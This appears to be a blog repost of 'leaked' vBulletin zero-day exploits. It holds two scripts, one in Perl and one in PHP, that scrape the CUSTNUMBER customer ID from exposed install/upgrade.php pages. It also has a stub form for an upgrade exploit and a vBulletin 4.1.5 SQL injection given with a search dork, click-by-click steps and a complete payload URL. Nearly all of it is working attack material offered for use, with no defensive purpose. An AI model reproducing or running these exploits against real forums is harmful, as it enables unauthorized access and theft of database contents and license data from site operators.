vBulletin x.x.x Customer Area 0day
PHP Code:
Bulletin x.x.x Customer Area 0day
Perl script got leaked so decided to post the perl script here
Code:#!/usr/bin/perluse LWP::UserAgent;
use HTTP::Request::Common;
system('cls');system('title vBulletin Install Auto Exploiter');
print "\n ---------------------------------------";
print "\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n";
print " ---------------------------------------\n";
print " + d4tabase.com -+- d4tabase.com + ";
print "\n ---------------------------------------\n";
print " coded by n0tch shoutz d4tabase crew ";
print "\n ---------------------------------------\n";
if($#ARGV == -1 or $#ARGV > 0){
print "\n usage: ./vBulletin.pl domain (without http://) \n\n";
exit;
}
$domain = $ARGV[0];$install_dir = "install";$full_domain = "http://$domain/$install_dir/upgrade.php";chop($domain);
&search;
sub search{$url = $full_domain;$lwp = LWP::UserAgent->new();$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8");$request = $lwp->post($url, ["searchHash" => "Search"]);
print " Searching $domain ----\n ";
if ($request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
print "Result : $1\n";
} else {
print "Hash: Hash not found!\n";
}
}
php exploit -
--------------------
<!--?php
set_time_limit(0);
if($argc < 2) {
echo "Usage: {$argv[0]} http://site.ru/forum" . PHP_EOL;
exit;
}
$URL = $argv[1];$arr = parse_url($URL);
### work with urlif(strpos($URL, '?')) die("Ohh, your URL is not valid");
if(substr($URL, -1, 1) != '/') $URL = $URL . '/';
if(!$arr['scheme']) $URL = 'http://' . $URL;
$headers = get_headers($URL . '/install/upgrade.php');
if(substr($headers[0], 9, 3) == '200') {
$source = file_get_contents($URL . "/install/upgrade.php");
}
elseif($headers = get_headers($URL . '/install/finalupgrage.php')) {
if(substr($headers[0], 9, 3) == '200') $source = file_get_contents($URL . "/install/finalupgrage.php");
}
else die("something went wrong...");
preg_match_all('|var CUSTNUMBER = "(.*?)";|', $source, $res);
foreach ($res[1] as $hash) {
echo "Hash: " . $hash . PHP_EOL;
$fp = fopen("hash.txt", "a+");
fwrite($fp, $hash . PHP_EOL);
}?>vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit
PHP Code:
vBulletin 4.1.x / 5.x.x Upgrade 0day ExploitCreated by: BoxheadFound on: 08/22/2013Website: http://belegit.netExample:http://test.com/forum/install/upgrade.php
Website:
Customer ID:
Username:
Password:
Email: vbulletin 4.1.5 attachment SQLI
PHP Code:
vbulletin 4.1.5 attachment SQLI
examine variables came across sq-injection, as later found to be inherent to all vbulletin 4.1.5. Title: Vulnerability in vBulletin 4.1.5 Dork: Powered by Powered by vBulletin 4.1.5 Conditions: The account on the forum. Permission to attach files to messages / themes (attachments) Register -> go to the forum -> click a topic or if the board is, you can choose to create an article (the second option more work) -> at the bottom looking Attachments 'Manage Attachments' - > Open the window and setting "values [f]" insert our SQL query. Example:Code:http://site.com/board/newattachment.php?do=assetmanager&values[f]=-1599+or(1,2)=(select*from(select+name_const(version(),1),name_const(version(),1))a)&contenttypeid=18&poststarttime=1360663633&posthash=4f5c850593e10c5450d9e880d58a56d8&insertinline=1After that, we see the standard error of the database offline, thus opening the source code of the page and see:
Code:
<!-- - Database error in vBulletin 4.1.5 : Invalid SQL :
SELECT
permissionsfrom , Hidden , setpublish , publishdate , userid
FROM ds23fSDdfsdf_cms_node
WHERE
nodeid = - 1599 or ( 1 , 2 ) = ( Select * from ( Select name_const ( version () , 1 ), name_const ( version (), 1 )) a ); MySQL Error : Duplicate column Name .1.49-3 '5 ' Error Number : 1060 
Ichsan Bahri
I'm Ichsan. A full time web designer. I enjoy to make modern template. I love create blogger template and write about web design, blogger. Now I'm working with Themeforest. You can buy our templates from Themeforest.
Website: http://sagoe.net/
No Comment to " all 0day 2013 vbulletin leaked "